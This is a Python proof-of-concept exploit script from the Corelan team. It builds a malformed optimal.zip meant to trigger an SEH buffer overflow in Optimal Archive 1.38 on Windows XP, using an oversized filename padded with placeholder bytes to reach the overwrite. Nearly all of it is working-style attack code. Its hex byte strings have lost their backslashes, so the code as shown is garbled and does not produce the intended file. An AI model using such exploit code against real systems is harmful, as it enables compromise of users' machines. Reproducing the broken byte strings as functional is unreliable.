#!/usr/bin/python
# #######################################################################
# Title:                Optimal Archive 1.38 (.zip) 0day SEH PoC
# Author:               TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c
# Found by:             TecR0c
# Download:             http://www.optimalaccess.com/oadownload.php?version=oarchive.exe
# Platform:             Windows XP sp3 En
# Advisory:             http://www.corelan.be:8800/advisories.php?id=CORELAN-10-017
# Greetz to:            Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# #######################################################################
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.

# Trigger : Right click on specially crafzip file > Boom
# Very strange behavior when debugging

print "|------------------------------------------------------------------|"
print "|                         __               __                      |"
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |"
print "|  / ___/ __ / ___/ _ / / __ `/ __    / __/ _ / __ `/ __ `__  |"
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |"
print "| ___/____/_/   ___/_/__,_/_/ /_/   __/___/__,_/_/ /_/ /_/  |"
print "|                                                                  |"
print "|                                       http://www.corelan.be:8800 |"
print "|                                              security@corelan.be |"
print "|                                                                  |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "[+] optimal (.zip)  - by TecR0c"


ldf_header = ("x50x4Bx03x04x14x00x00x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00"
"xe4x0f"
"x00x00x00")

cdf_header = ("x50x4Bx01x02x14x00x14x00x00x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00x00"
"xe4x0f"
"x00x00x00x00x00x00x01x00"
"x24x00x00x00x00x00x00x00")

eofcdf_header = ("x50x4Bx05x06x00x00x00x00x01x00x01x00"
"x12x10x00x00"
"x02x10x00x00"
"x00x00")

buff = "x42" * 2340
buff += "x44" * 4
buff += "x42" * (4064-len(buff))
buff += ".txt"

mefile = open('optimal.zip','w');
mefile.write(ldf_header + buff + cdf_header + buff + eofcdf_header);
mefile.close()